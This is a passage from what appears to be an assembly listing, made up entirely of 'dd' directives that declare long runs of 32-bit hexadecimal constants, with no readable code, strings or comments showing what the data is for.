9131DDC7h, 0CC435E0Bh, 0E04C82D8h dd 28AF9790h, 0FCEB87ECh, 69400C0Ch, 0F690DB7Ch, 0E1925500h dd 705B3E75h, 0E8BC6016h, 8BD1A49Dh, 9E018EF8h, 0E12D9251h dd 2420D5AAh, 78CA0132h, 98A7A4ADh, 0FB986005h, 0AFA06600h dd 0A91F177Bh, 4A370287h, 6B369C30h, 0D7007478h, 24D33BA1h dd 985AB7E8h, 0E05F0FA0h, 0EE2C13EBh, 0DAFEE1C8h, 0D2B8EA00h dd 3AABB3ADh, 4CF90092h, 949818E0h, 0CF097B63h, 9ACB5Eh dd 1633B73Ch, 3CFC2CD1h, 0E0CE0068h, 8B5F3D24h, 0C6E73A02h dd 0C8597BACh, 0B84D52E4h, 9C2A0074h, 6191D673h, 0A45C45A9h dd 0E71A00C4h, 0DFD31FBh, 0CC9002CAh, 5EA878A3h, 55D8BEC0h dd 14284774h, 5000D822h, 2BF9EBE4h, 9E565EC3h, 0A4F18038h dd 669ACF51h, 91F50100h, 8B4AC877h, 0E44B1Ah, 4763868Ch dd 0F601E92Dh, 0B669BC28h, 0B420F00Eh, 0FEA10097h, 8643C134h dd 0B34D6E38h, 5A2220E4h, 461440EEh, 8CAC9042h, 0F492164Ah dd 0F050433Eh, 6A6D9AFh, 3FC85ADFh, 7405E01Dh, 2F07BCD3h dd 14005485h, 8E82B7A5h, 0F2010129h, 850B1877h, 20A4D17Ch dd 881857BFh, 0E098FE03h, 73A23DF4h, 3850ACh, 4C8BC12Eh dd 0F0005821h, 0D02D3B8h, 9851BF74h, 37EF3A07h, 0ECBC28h dd 0D09FB3F9h, 0B1615A7Dh, 0E8A1007h, 1D408796h, 0C1D2A720h dd 0F5C89CC1h, 6B37FC8Eh, 0AE840100h, 243A7AE0h, 0ADEB0055h dd 0E263CD1Ah, 9001BFCCh, 7361FE8h, 0F54018A1h, 2D279119h dd 11D08BF2h, 0E8068512h, 0D8DD5C07h, 0EFF1B5C6h, 0C88193FDh dd 8BF02617h, 6192C816h, 6A9C0900h, 6EA28942h, 0CDB90045h dd 3444F69Eh, 0C30755E3h, 0DC1D9D97h, 0EB15A6C0h, 23E40051h dd 5DA4019Bh, 85E6941Bh, 94007B4Ah, 0CA101998h, 868A0006h dd 0FC03797Eh, 7400F2F5h, 0EE676870h, 0DB22E8h, 0A4CBD95Dh dd 96835173h, 0F8C7E900h, 7142600Dh, 0A8D40281h, 9D097A11h dd 0F3B2D440h, 146D5Ch, 48952C57h, 9EB4A14Fh, 0B41E92F0h dd 9BFC684Ch, 0EF93CB00h, 8CF32435h, 52830017h, 0B1E5762Ch dd 249C57CDh, 0F3B614h, 0CE04960Fh, 1460F1ABh, 0F8D14A2Dh dd 0D33E900h, 9FBC90D2h, 0EF406C94h, 94142116h, 9EE98028h dd 0D582D7A2h, 0EFA4FB02h, 87152117h, 0A234E710h, 4CD16C95h dd 99D07F29h, 18796360h, 10115726h, 873CC8DBh, 8797F312h dd 5468044h, 5360909Ah, 36487721h, 687600A2h, 0A5A7F589h dd 2A24D3A9h, 771FF025h, 932F9200h, 7DE386Ch, 76659C5Ah dd 0C2203F90h, 0A2F5E9AAh, 0D552DB00h, 3785D9EEh, 86A49461h dd 0F9B5A7D1h, 76AA3A00h, 7A4EA040h, 4B104A3h, 0A051DC68h dd 6206B640h, 6A0AEDBh, 0E8AB00E9h, 0FEFCBC18h, 0EBECC019h dd 570A9516h, 5D736102h, 0C488C186h, 9FD49280h, 0F0FC3625h dd 0DA0092F4h, 0B1C0B6C3h, 33516DEh, 9417EEF8h, 0D2A8B9C6h dd 6F0E9FCDh, 478A7D7Ah, 80C0A6B4h, 988EC345h, 0BDFD0027h dd 0CB0864A2h, 0FE005338h, 654A24BFh, 0C3F75Dh, 77F74C7h dd 0DBAE8A98h, 0E305D026h, 40D1060Eh, 0A4CCFE24h, 0B25A008Bh dd 0CD038208h, 9B0E8037h, 0E0D0226Ah, 970D6F76h, 0D7AE0091h dd 8046F360h, 81F69EA4h, 0B6BC1200h, 0FD5FC8Bh, 0E28A0067h dd 4EA7067Dh, 1C96D279h, 0F9C0845Eh, 0CFE044Fh, 10442686h dd 0BE8DFCBAh, 0C75F08A4h, 9EAE7388h, 0BA18606Fh, 0CB2994CCh dd 0B0E888C4h, 78085B89h, 84B79244h, 42B2A322h, 91AF1147h dd 1042847Fh, 61083321h, 940F909Ch, 1F296426h, 129A2C21h dd 0BCFC10FBh, 0AC080B89h, 84E72444h, 22C1D022h, 0EE224CF7h dd 11534227h, 0E321C3ABh, 9026E808h, 427B883Fh, 0E82F4ACFh dd 842B902Ch, 0BB48C8ECh, 24296E42h, 5D5B4397h, 0CFC9C053h dd 3D4200CAh, 0B6BA3F47h, 2C00B4B9h, 0A72D322Bh, 131DE01Eh dd 0C7B76790h, 0BF0CB088h, 8600A5D1h, 0ED184532h, 58C53DD3h dd 0EE0B4497h, 34E02A2Fh, 400139ECh, 1C57B53Ah, 17D8D112h dd 63F4F8h, 0BFA8F7A1h, 4F79ACFCh, 462D3801h, 4B5BCB8h dd 7F129460h, 81B300E3h, 4D91F682h, 22006F58h, 8D57BB2Ah dd 1F285E2h, 0D8BE3493h, 0D8F38B28h, 1700AAD0h, 0DC0D52F1h dd 1888D77h, 882356Eh, 0CB06A25Ah, 0EF8336F2h, 0F490AE46h dd 27E02402h, 0E2403812h, 68706849h, 76308F4h, 0A680F851h dd 0EE747022h, 71007852h, 0BC0FD977h, 6A1C6Ch, 51D8C0EFh dd 0ACFBD3AFh, 0CDC35900h, 0BF10CE64h, 0B84F0355h, 5FE3A39Eh dd 0DB5DE0A8h, 68FF7800h, 157F50Ch, 73D2091Ah, 9C7A02A3h dd 4490194Ah, 25E6F926h, 0F040F294h, 530027C8h, 6C3C63DAh dd 4E7CABh, 92B5DF8Fh, 383941FBh, 0E0796700h, 5B59069Ah dd 731817E5h, 6AE000DBh, 74588982h, 50DE3000h, 0D3020981h dd 54F16ECh, 0C00100B4h, 0FD67280Fh, 0DC13F819h, 0E7C80D38h dd 2D570087h, 0DACCE1F3h, 3F07F8E8h, 0C46D5E1Fh, 7CBD16h dd 35C3313Bh, 9CEEEF3Ah, 3ECDFD00h, 1CE28363h, 0B9640080h dd 0A2D6C636h, 0EF0047FCh, 0C4299F52h, 0FBD49C8h, 8573436Ah dd 0F5CAAA80h, 720055A8h, 167EADB9h, 7849BA8Fh, 795700DFh dd 141B95E2h, 68F8FAA5h, 9E17D800h, 1C531398h, 0F08A0589h dd 80B8F16Fh, 6D48528Ch, 0FABB2000h, 702D97E2h, 0A70D14DBh dd 170085E6h, 8FF6C59Ah, 0EA00F78Eh, 624BD4BCh, 3FBD4D32h dd 3C82A7D9h, 0B0781D53h, 4071ACC1h, 14627AFh, 5016FC1Eh dd 62C62F80h, 9C257AB2h, 34F10090h, 0D2BAEC79h, 2C5D4A01h dd 74C5D449h, 250DCFCh, 0B28E868h, 68F8B65Ah, 0A061362Fh dd 0BC133818h, 73B91ED2h, 0F2B60983h, 4FCA400h, 8F00BD05h dd 1F600237h, 0E2F59CDh dd 0F646295Dh, 26D55E01h, 4D38C8A9h, 90345Dh, 3E2B7B85h dd 5E768612h, 0AF40052h, 357D122h, 915F921Ch, 0F4808913h dd 0FD9535h, 0A0063748h, 0CB114FAAh, 1AAED8C4h, 809E6CA8h dd 77A33223h, 34487506h, 6CEC009Ch, 0B7463FBBh, 0FD1A0088h dd 847917A6h, 0EF251443h, 0F9CC4E0h, 6BE9273Fh, 0F77046C7h dd 9DB06C96h, 77406800h, 0EAB5DA0Eh, 2C520285h, 0E1C3FA63h dd 0CD3D0D61h, 4A6BE4D0h, 28753Eh, 389EF002h, 19687Bh dd 8D5AF3B0h, 82C09823h, 0A2B1E00h, 5B2704C1h, 0F59900CBh dd 680D432Ch, 7F05B09Dh, 65AF291Dh, 200088E6h, 0A55BFAEBh dd 0CF04A0B5h, 0BA8011D6h, 92B86CD0h, 3C553E42h, 16D4B97h dd 0C614EC87h, 0F2F9D091h, 7AADDD07h, 9B702186h, 0E604AB1h dd 0A82F2927h, 9E146442h, 18905663h, 3B008D6Fh, 9171B519h dd 37AF89h, 272346F6h, 6D06B120h, 8B0040E0h, 2D586993h dd 4E1716h, 79B91FB7h, 10A756C4h, 0FC068100h, 0BAC244Fh dd 74B00077h, 11FEC63Fh, 95003378h, 0DFD6F74Ah, 478B2Bh dd 0F1F8017Ah, 556675EEh, 8DFE2A00h, 0C0EB0818h, 0AAEA0E6Eh dd 40E06783h, 1BE0F8F1h, 81742Eh, 18202316h, 0F2A5B42h dd 0A0D4BA0Dh, 14412CE1h, 0EA83CF7h, 0A1AE56E9h, 2F262BAFh dd 72A0E0C8h, 975800A4h, 0F9CF151Ah, 9C010C7Dh, 0E5717775h dd 0C64010C4h, 281243Eh, 5BCC7B86h, 34404411h, 0BE006FF3h dd 0ACC90228h, 0AB7F82h, 0DC1EC80Eh, 0A984E385h, 7028DD00h dd 4B54ACA3h, 138800C3h, 604E07Dh, 0A5009509h, 81BC806Bh dd 16C02433h, 0F86FB40Dh, 99CC0042h, 72D158C9h, 0B9F8A9h dd 27A71A31h, 0BA1D103Fh, 3C75023Bh, 9D0701AEh, 8701C099h dd 6B1AC4h, 53976F44h, 694EDBB2h, 81003373h, 0E389E5C2h dd 26C92259h, 0FCB838h, 0DE242D2Ch, 9A799E1Ah, 178D27h dd 7C84881Ch, 0FD02007Bh, 0EE306EF6h, 65F6B8DFh, 802A573Dh dd 74A1CEDBh, 2958256h, 8DE5BCE8h, 0D0C093F5h, 7942FFBEh dd 0B4E6D601h, 6C35CE62h, 0DD7E1464h, 32841E8Ah, 0E247807Dh dd 0AC430D11h, 96FE52h, 8B04CC30h, 4FF05181h, 0D3835303h dd 0C9E936A4h, 65307918h, 0A5C10038h, 22FF2955h, 8B00B0CBh dd 20AC759Ah, 13446FEh, 0B906DDE4h, 60CA8366h, 0C839E84Dh dd 85F08052h, 972FC1E9h, 0D4F50048h, 991747DFh, 5D03CE79h dd 0E15035C7h, 0E40DA0BBh, 90A900D6h, 2F631F5h, 11E24E9Eh dd 0CEF96500h, 0A8BC0167h, 987200D7h, 5E7D45C5h, 973CED29h dd 6CCA008Bh, 0B506895Ah, 589C002Dh, 7A27E031h, 1E0938D4h dd 7E07DDh, 543D8F6Ch, 27723h, 277897C7h, 0DAEE0F40h, 6280AD00h dd 55F82552h, 0B9A75C0h, 9B12D61Ch, 108C5D80h, 303C70Dh dd 65788086h, 0ACF19BE9h, 37996C80h, 1180087h, 22970BD0h dd 0A900E04Bh, 488EABC7h, 3679F77h, 0C9F0DB3Ch, 0B098B709h dd 0A7002B6Eh, 0DA8E94E7h, 5DCC3Ah, 257959ECh, 6D7CE19Dh dd 0A96FAE00h, 6AD03C52h, 3F90B2h, 0F3FDBA5Eh, 0D10D92C8h dd 6213D800h, 0FF7F6ADh, 552C00C1h, 1E34D779h, 22001AE7h dd 6DE91DB0h, 0C42F86h, 65A86CABh, 1E570CDEh, 98D98230h dd 1CAA9E9Dh, 0B56FEAh, 0F299356Ah, 78012697h, 9867CDC4h dd 57D04BEEh, 0B4AE00EDh, 0A4AAA28Dh, 0F0748B33h, 0E87D2224h dd 0B7E4CA00h, 34B47Fh, 0DF1A1D70h, 2636C62Ah, 58074500h dd 3138E7A6h, 5AF13C91h, 0B5E00FFh, 0A80DD0ABh, 22054B23h dd 86299E9Ah, 0E488C616h, 445F00CCh, 0A7FE832Bh, 6A58664Ch dd 98CD0130h, 93E27F0h, 0B51AE8h, 2A941C82h, 9F078FF4h dd 81006D7Dh, 253D1B92h, 0F6B4F258h, 286817CEh, 0E1470198h dd 0D853BD0Ah, 0EE2CB569h, 34053026h, 0E4C00C17h, 0F834EE8h dd 0D7748C30h, 0FB9CFE0h, 0A900D8EBh, 823F1A92h, 785045E9h dd 5B6B00BDh, 9969152Eh, 0AD0F2C01h, 40948052h, 936D08F9h dd 41030488h, 0C0B504C3h, 0FF963EA4h, 0BA244200h, 0E5DEC4F2h dd 588412F5h, 0D6CC0065h, 50134892h, 0EA1148h, 66C8B97Fh dd 0E4B2AEBBh, 0AAFB0ACEh, 1CE5A958h, 0D84505E4h, 0FA34F073h dd 0FCDED500h, 0D3CB7E58h, 0E9B500CCh, 678E8335h, 3700F938h dd 0BC2C9D6Dh, 25E591C0h, 38C07DC3h, 4D00A3AEh, 767CF5C5h dd 7AF0696Eh, 1DEC0FEAh, 0FD611E4Fh, 70C9667Fh, 0C40398D0h dd 330A8AF1h, 0ABBFE867h, 367600DCh, 0A9E75120h, 5F09C916h dd 52BBC8DEh, 9D0302E8h, 1577A814h, 87EEF3C0h, 5089FF02h dd 0E0DE0BC0h, 2CCC51D0h, 80E84FE6h, 80E51754h, 2F00EE66h dd 0E796DAF6h, 0F18691h, 633FAFAEh, 0D6A06404h, 0CD4DB02h dd 602F7285h, 1CF2A4h, 0E8188610h, 30018217h, 85BA18CFh dd 30C2B944h, 91202E85h, 3C257597h, 0B7900B00h, 0DD6ADB87h dd 0D814496Bh, 7B4B017Fh, 0AD58E58Dh, 0DE57C855h, 6909600Fh dd 80A4CB81h, 0D82D11D0h, 0A860049h, 7CF70207h, 0B6B84478h dd 76F3F5Ch, 1B58D1F6h, 4CBA5653h, 5400286Ch, 0C1864B55h dd 3A0AC2C7h, 0FA373F35h, 24ACB000h, 252A23h, 161896DFh dd 8DAF5F88h, 26693F4Ch, 9D003804h, 103D2A7Eh, 35CB0CE5h dd 0E6F092CDh, 8622701h, 7F6939EFh, 9F445FCh, 6285711h dd 40C3BE80h, 52503470h, 0CA0FC2A8h, 204D4BE9h, 0CB3CEBA3h dd 841D4C5Ah, 0E0A42402h, 0A476907Bh, 2E2C1400h, 1F2DBDh dd 0C546280Ah, 0FBA0685Eh, 12A5391Fh, 7BA430C2h, 0BF0A60C2h dd 56863DF7h, 14857580h, 71740AC0h, 0E37A0106h, 11D94Eh dd 0C7755FF1h, 0A3776231h, 87240825h, 0A0F0E3B8h, 0F1551095h dd 8804DC28h, 0A07D0C9Dh, 90503984h, 0F400388Ch, 0D273A69Eh dd 0EB5750Fh, 53D461F0h, 0A27EFE80h, 40C08AF9h, 1E1357E6h dd 653E0495h, 0F05DBDF2h, 1731DD9Ch, 0FC15596Ah, 0D42CF8h dd 56F51BAEh, 6BAFE211h, 2B6A63Ch, 18230F65h, 98046325h dd 545CC1h, 0D253C47Dh, 0AC71783Ch, 15682C00h, 560D751Ah dd 0C80402FFh, 0BACB1FCFh, 9700D874h, 0FBC6EA85h, 0D1B10061h dd 0FF8276B8h, 0B90339E4h, 0CCACB2A9h, 7356A8F8h, 0D54701BAh dd 80F90C55h, 0D83ACC6Dh, 70E9CD00h, 97EFDA14h, 0EBE7AB5h dd 0BA4A7F1Ch, 9B761B40h, 2300B401h, 0FAFCB8Bh, 0CFA9103h dd 42649D8Ch, 0AD1E4F30h, 89C14ED6h, 7179A21Ch, 1D45DDCCh dd 0C03F1793h, 0D09DB51Eh, 4E00DE7Dh, 0D24A2F61h, 7069A549h dd 769A09D4h, 0DE809D1Bh, 37A74F01h, 8118A01h, 0C3DC98C7h dd 31B6864h, 2D2EC0CFh, 9BA82C46h, 4500A69Ch, 0ED95A99Dh dd 1C06F3C3h, 85B6276Ch, 87FB9BEFh, 0B991E074h, 0EE00F4EAh dd 77686EEBh, 13F72E3h, 9BD2675Ch, 0E03743F9h, 41E4558Dh dd 0E88F017h, 6F04C700h, 5E573Ah, 0F4BCC63h, 0A47D053h dd 83879103h, 0E8FC057Eh, 38575F59h, 0C580CA94h, 90C3D815h dd 212E32E8h, 5100C4EDh, 4481F842h, 0C8361EDFh, 35928F8Dh dd 250F0B80h, 0E87140E2h, 8637D800h, 8415B724h, 30A858DBh dd 3EB9F70Bh, 456CD80h, 0B61607DFh, 4100E163h, 6BC7F80Fh dd 0F961007Eh, 139135A5h, 5B00F052h, 6878243Dh, 77712BFh dd 0C15E1DDAh, 0F5FF6090h, 1E09A1C5h, 78F3BCD4h, 0E97A004Ch dd 465BD1B5h, 0B70F6C0Fh, 0A10774A3h, 0CEAD0D60h, 0F25436FCh dd 59BB092Fh, 6A87C713h, 0EA5E804Ah, 0E5022A47h, 5876A7D2h dd 5A204044h, 0AED9006Dh, 354E3B87h, 36787989h, 0FCD4D600h dd 7F345A8Bh dd 0A52A07CBh, 2543A49Dh, 47DD0009h, 9386D915h, 0D36FF800h dd 8F990EA7h, 520A005Eh, 6136B44Dh, 25004AC9h, 20B6292Eh dd 0E713BEh, 24DA854Fh, 0D8D63C89h, 64B70200h, 587E36D5h dd 0A6E100C2h, 1766393h, 6F00C8F8h, 9A30EE91h, 0A7E54Fh dd 7EE95A11h, 0E8122251h, 5384532Eh, 655FC500h, 2673E474h dd 155D40h, 4233FB9Dh, 0B1006D12h, 0EB719250h, 0AFD202h dd 294C7DE2h, 83959F5Eh, 5F822801h, 0C66BD045h, 13805DCEh dd 18C30A07h, 80F57C3Fh, 957B0319h, 396764h, 0BE0204D2h dd 0EC076B9Eh, 4441AB03h, 0BFA8C470h, 10478260h, 0D5B00F2h dd 2B7D4BCh, 5F3EC00Ch, 6CBB802Ch, 2BEB37F3h, 6F50171Eh dd 403E0ED2h, 66818B62h, 0CB9C9868h, 3EF49A03h, 0C32C3DD3h dd 0FA8FE14Bh, 0E410BE4h, 58A83463h, 0C0002369h, 0E5F244B0h dd 2A18B7F8h, 3719ADDAh, 1C0B8C6h, 84362E3Ah, 78651B33h dd 51610F30h, 57DC8079h, 787ECA4h, 0AC5DDF78h, 0FA03F52h dd 4050E6AAh, 8DBC4903h, 0E4CAE7FFh, 8900A0A8h, 58F127A7h dd 0AB4C95C7h, 0CC0F0E64h, 0B25D40FEh, 747125C6h, 956400BBh dd 61588DF1h, 8003F30h, 0D879B065h, 8760E5h, 6FA7579Ah dd 0D2BA7634h, 9E2DEE26h, 0C06B1100h, 0E68944h, 3C90B662h dd 0B3052253h, 0BD6C701h, 26793B03h, 6F2EF3F4h, 0D1E0D864h dd 4176DFA8h, 0EAD25E0Bh, 2B3440BAh, 0C07648h, 0CA3901A5h dd 90DDF2D3h, 0D76D2A05h, 83C4A107h, 0FCC154F0h, 17414C8Bh dd 60B617h, 0C3CC6C38h, 0C4581F81h, 0D2007340h, 29A81848h dd 5B80F8E3h, 2448C063h, 47265814h, 0CF0494F6h, 0CC03850h dd 3C8EB68Ah, 5600CA09h, 0F5C89B12h, 0E2043EA1h, 0A760C636h dd 0A226D8C1h, 98997CE4h, 1F1E685h, 4D7D63DFh, 60E4E864h dd 0D9009CB4h, 0F35E5660h, 70E34F9Fh, 0DD7E14h, 0FC5362Ah dd 77DCB53Dh, 0C8217C00h, 3A56CB6Eh, 0CC4001E1h, 42B758AFh dd 0B6F42026h, 0A2459901h, 95738E2Dh, 7C854F8h, 3ECACF0Dh dd 0B743E083h, 2BE6BBFCh, 0B01D621Fh, 80F8B83Ch, 0A8BAAF09h dd 0FB6CB4h, 7C2A498Dh, 1183BF05h, 0F393EE01h, 6809627Eh dd 59CCC1C9h, 58FCD3h, 76FEB11Ah, 3ECDBB93h, 69059D00h dd 12627444h, 0A41500A9h, 180D851Ah, 0BCFC86B1h, 0CDAC6B01h dd 12E2A645h, 0EDF9CC0h, 4C1BEC60h, 0BDE91820h, 2E007ED0h dd 0F4F738BFh, 76AB317Ch, 76870FBAh, 9B8027ADh, 4356670Ch dd 581AE800h, 3E9C1517h, 98F2008Fh, 41E2C29Fh, 3A3842CCh dd 0F197811Dh, 1051B064h, 20DDECh, 6CE2EEA0h, 549D3F39h dd 5FB758h, 55A1191Bh, 9290CFh, 0C5D947EDh, 7EF028D7h dd 7800E2B8h, 0F8FBCE75h, 7D2E8FCAh, 0CBE00085h, 5A0E8B50h dd 0F00FD29h, 0C85C88B7h, 648EBBh, 89D55ED0h, 0ED56A5BAh dd 6146090Eh, 0DE7BE01Ch, 38EA1E65h, 6808DB9h, 0A2911645h dd 0A6000EA3h, 41CE4459h, 0AF25D4h, 0EE8EFC01h, 1AEF405Eh dd 0F40E55B8h, 0D88AF8h, 0CAB5134Fh, 877C95h, 0E93D2C64h dd 3CD433B8h, 1B0AA900h, 94D54C42h, 0C4FB5C29h, 9CB9BB03h dd 9FCB9708h, 950577E0h, 0C3E85900h, 7A7CC068h, 80C2035Dh dd 89BE067Eh, 0FE2A2DF0h, 0C89ACD00h, 28F666B5h, 5DC70016h dd 0AA74C3C9h, 1C387E57h, 9DEE00D0h, 0B51DA4CCh, 686F01DBh dd 0A0AEB9F2h, 201821EBh, 0A2985ED1h, 0F55C9900h, 8C4E1347h dd 6679CFh, 0DADE162h, 64D732FFh, 0A8ACEF00h, 1E20611Ch dd 96D60391h, 0A4D0894h, 83C07B98h, 0B5F37F03h, 0C81E72B1h dd 93EB07h, 0B607CF1h, 80D9F66Ah, 3F69DE00h, 1178D6E2h dd 409D1D3Ch, 0A9428084h, 0DC1DB23Bh, 520C8EE0h, 119264F2h dd 0F2100EDh, 0DBF50CABh, 7000E57Ah, 8693311Ah, 48EDFF6Ch dd 5900A8C4h, 0AD7534B2h, 0AF004353h, 164A56EAh, 0E758ECh dd 55CA6BC2h, 29682B11h, 0BFAE2600h, 0D019B528h, 0FC520076h dd 0C62AF959h, 0D700217Dh, 0C16B4D01h, 0C54275h, 4B3605E2h dd 50FE0A4Fh, 0A51F7800h, 0E9277268h, 0C38C000Dh, 0DB645A5Fh dd 743035B3h, 0EBB030E2h, 1F1B00FEh, 0A6CD4449h, 0E800232Eh dd 0FBC4159Bh, 68B0A8h, 667B1034h, 593B3206h, 1F972C00h dd 5324F314h, 0C3E70090h, 1DE16F6Bh, 650163F4h, 0DC33223Fh dd 80F384CBh, 5098BC0Ch, 7CD858h, 2FD2264Ah, 0C73662CFh dd 2AEA0D06h, 0B92D1Fh, 42A4F18Eh, 7F519DE6h, 0B01C6C00h dd 4DABCFE2h, 80AC00E1h, 0C5156654h, 6A607730h, 56EC7559h dd 91C2003Bh, 3586338Eh, 6D144DA1h, 0CE477C3h, 21088A1Fh dd 70C10C6Eh, 5A11D4BBh, 0C9F42607h, 6FB56CDBh, 71864000h dd 78E7B521h, 1283ECCDh, 2CF03C31h, 1400460Ch, 5AAAFCEAh dd 2407CABh, 78B043CAh, 0D861B4F3h, 2847E6D7h, 15FB5300h dd 7CEC9DE1h, 480100D7h, 8419E4A5h, 0A0C0260Eh, 4DC5BB68h dd 0DC2B0021h, 0EC90A51Eh, 951CF597h, 9E413754h, 0DB81BD30h dd 0D9A8C0h, 0EFDEA3C4h, 0A7299D72h, 17636500h, 0C628764h dd 0C90A0369h, 0FE1D4550h, 366807DCh, 0B0EC0FA2h, 8F99C8h dd 0F6BD6312h, 0DAFF04F4h, 4D402A00h, 0E82EF11Bh, 0B37C0F71h dd 8E20886Ah, 42EEA62Dh, 0B2E00E00h, 63683FC4h, 4F21017Bh dd 0D2233702h, 844F3Eh, 0C6C90CF9h, 42164Fh, 0CCABAEF5h dd 4EC05471h, 0A329E105h, 2FC0057Ah, 0E2F61416h, 5E911FC1h dd 0F985008Fh, 0CA53DAE4h, 0EF90BE00h, 84289D3Bh, 8A732Bh dd 0F80CD723h, 98B8E8A7h, 0E720EE60h, 3A2E6D3Ch, 0CF854696h dd 1D6512C0h, 64475C88h, 0C4C8010h, 7BBB7E08h, 1B027901h dd 8463DBDEh, 12E82E8h, 71EA2B8Bh, 24F5B227h, 5000EFC8h dd 4DD538ACh, 1EC3D41h, 0A101DB25h, 30A7280Bh, 0E0048E14h dd 225A087Ch, 0F2B56480h, 584E7A26h, 1D02A669h, 4983EACh dd 6F32C0C0h, 0B72E3301h, 410D76D7h, 2675DE0h, 5481B6DEh dd 0E8605623h, 972CB7C3h, 2100644Eh, 0EC290C84h, 5F78E9h dd 98E35B5Dh, 26143E6Bh, 7DA57400h, 847ABFE1h, 0ADC95CB8h dd 0DB563F00h, 0D673A2DDh, 97384D00h, 0C6395066h, 0C42948A1h dd 42557F1Ch, 0F09F4EBCh, 6DA938C0h, 0B7610D00h, 0B2F335A2h dd 0D0EE0319h, 3677D77Ah, 0A8D62AB8h, 0D2907E00h, 70B159AEh dd 15F5006Ch, 8250C110h, 2007A6Fh, 0B63FE8C5h, 749D85AAh dd 99FB58BBh, 0CDD21201h, 0DC458641h, 445C5240h, 2707924h dd 757AB600h, 35E18351h, 0C69805C5h, 73443Dh, 630660E8h dd 793AD2EFh, 0F04783D8h, 0D8BEDB4Fh, 17314DC2h, 0C63ADDh dd 0ECF12DA0h, 6615A55Fh, 0F8D662h, 4F53944Eh, 13B4FAC3h dd 0EB3A647h, 0DFA1F0h, 9607AA02h, 0B100F01Fh, 0F1DE0A38h dd 12B6EB7Eh, 9BA3ABh, 63811DDCh, 8400CD74h, 7729892Ch dd 1D276BCh, 3A7275A1h, 0D8B09FC1h, 1C9AABDCh, 0F9C0B343h dd 0B634A213h, 100A48h, 464A894Ch, 177DEFCFh, 5EDDD10h dd 8027624Ch, 51AA98C7h, 0F2F52101h, 7B6995C5h, 18180330h dd 0ACE8384Ah, 5FE05579h, 4600BFE0h, 0BE1280FEh, 2EC47F6h dd 2D02426h, 0DE008A9h, 1D197D1Eh, 9E99688Dh, 19F0770h dd 0B70517E9h, 7035BCE8h, 9300AD91h, 0F8493763h, 0F06B44A9h dd 0BC7E009Eh, 3DB452B6h, 0E7E42284h, 0B247A700h, 8E90F7E0h dd 9AE80196h, 82D2A55Bh, 0ED59D0B1h, 0DFAABD00h, 0B6F6B942h dd 162B01B4h, 0BFAB6F36h, 1BBED86Ch, 0F107C6F2h, 0C95EE80Eh dd 0A5E42019h, 193BDF0h dd 0B04E9EFFh, 0FF2BD65Ah, 2AC090D4h, 4F0020F3h, 125EE78Ch dd 30E23347h, 0CC41622Ch, 34006797h, 9B045466h, 48A707h dd 71E7AC6Fh, 8B605291h, 1373B903h, 9A2CF56Ah, 1674C4B1h dd 34F2CF9Dh, 864EC09Ch, 77066582h, 0B766D526h, 58CA0519h dd 1C01EBh, 0A2023EACh, 5A1EC151h, 0AF8C2E56h, 0B83DB021h dd 736F00CCh, 0DE9C4131h, 3C90FC82h, 894F9F02h, 80385D74h dd 6222F590h, 0BBC803CFh, 297DFB43h, 6254C7B4h, 0FCC07335h dd 0AF01C290h, 1D1E4D8Bh, 0C62651Bh, 0D706C701h, 616ABCAAh dd 712824B5h, 0B420920Ch, 1606A93Ah, 76FD69CAh, 98995A20h dd 0FCEB17C1h, 0D68FF6F4h, 80801C79h, 0A414A9CFh, 0B0583AB8h dd 0E4E78AA8h, 2FA7F7E0h, 0C30BA08h, 8C61CF68h, 0B324FD60h dd 92126A78h, 4D20A040h, 0C079C56Fh, 8C2D8488h, 4C609E2Bh dd 76B3F6B9h, 1CFB4872h, 0C070F22Ch, 0A7607A0Ah, 9BD0B8A8h dd 0A3C6A4Ch, 2C1CB101h, 72EB2CE0h, 80055447h, 871000C1h dd 0A8185C4h, 5D2BCA2Ah, 2508302Bh, 0F30D0420h, 0D8ACC026h dd 0D5035DF0h, 255A784Fh, 0C848A3A8h, 17A096h, 86101454h dd 0CBC9E15Eh, 88435314h, 0D8A12E40h, 0EDB05A00h, 2C30A7A9h dd 13D4DF50h, 0C35800E3h, 0D4892788h, 0B4D94A00h, 0AF58B95Ch dd 3787D1Ah, 0E4FE86AEh, 31007677h, 7AFF31A4h, 3EF167ADh dd 17860ACFh, 20F26A86h, 0B05FA807h, 5DF0FDAEh, 9D3C4Dh dd 0D2A2C663h, 0D0F76FBFh, 0B8AEEE05h, 0D8D031FBh, 0A830B9EAh dd 96635C0h, 4078ED52h, 1326C425h, 1D303184h, 0CEFC09DCh dd 0A0D658A5h, 288B2Ch, 473C8E7Ch, 180396BEh, 4356F192h dd 2DE7F09Bh, 13B40A09h, 8C90829Fh, 62F8D28Ah, 79C18B00h dd 2081F959h, 0FAE20F78h, 1080503Eh, 0E6B50163h, 0A4A0D17Eh dd 210EADAFh, 0DF262966h, 915CCAC2h, 0B77CC099h, 1892000Fh dd 144B3382h, 5A03BB4Fh, 3471A0BCh, 7BA0CF31h, 0E5600156h dd 2C1B2C70h, 6C4615h, 2048D16Eh, 0C900849Ah, 66F19717h dd 26F32478h, 0F38C4C6h, 0CFCF793Bh, 0AEE26A60h, 2C507F0Eh dd 2D006F94h, 9FE19C28h, 56119Dh, 0CD881517h, 40FB8789h dd 73070470h, 9DF23235h, 1400DB9Ah, 8AE0FD71h, 59750EEAh dd 0BFA05E01h, 0AF95662h, 4C0E0A0h, 0A7DCF848h, 96BD3AF0h dd 343F01B6h, 0A3D42817h, 1643C477h, 0FCE34Ch, 9619710h dd 24BEABD9h, 4868FBh, 0D5982126h, 1B029296h, 7BF3F834h dd 72BCE09Ch, 4BB90552h, 80DBCFA2h, 83F16224h, 0D6116A60h dd 2E9399Ah, 2B562438h, 0C849B464h, 9832C5h, 8B91CB69h dd 58C2AD19h, 8807880Dh, 30A4ED4Ch, 0C01834A9h, 30E1D58h dd 0FC69DB41h, 0FD9C80D1h, 0A3E301F7h, 5CF2FED4h, 64DC2035h dd 3B51C71Ch, 2129A200h, 0A30F74h, 0A446BC42h, 482B71FDh dd 0DF26CBE2h, 4500A4E9h, 0B3C9180h, 68DE0DE1h, 4818EA4Ah dd 34002840h, 9B0D7AECh, 4057B58h, 7E2BA9D1h, 0A6E080C1h dd 0F67008DAh, 0D2808800h, 3E572571h, 54E35C0Fh, 849616h dd 0ADB98CCCh, 0B5074B78h, 9F77A5A9h, 617F1B30h, 4ECE873h dd 0FECD2DC0h, 0D518E0EFh, 48233888h, 1F00D82Ch, 0DAA9CDF6h dd 0E14B75C5h, 1A5907Ch, 643682E3h, 2F990252h, 13410EB0h dd 2950161h, 3F1FD268h, 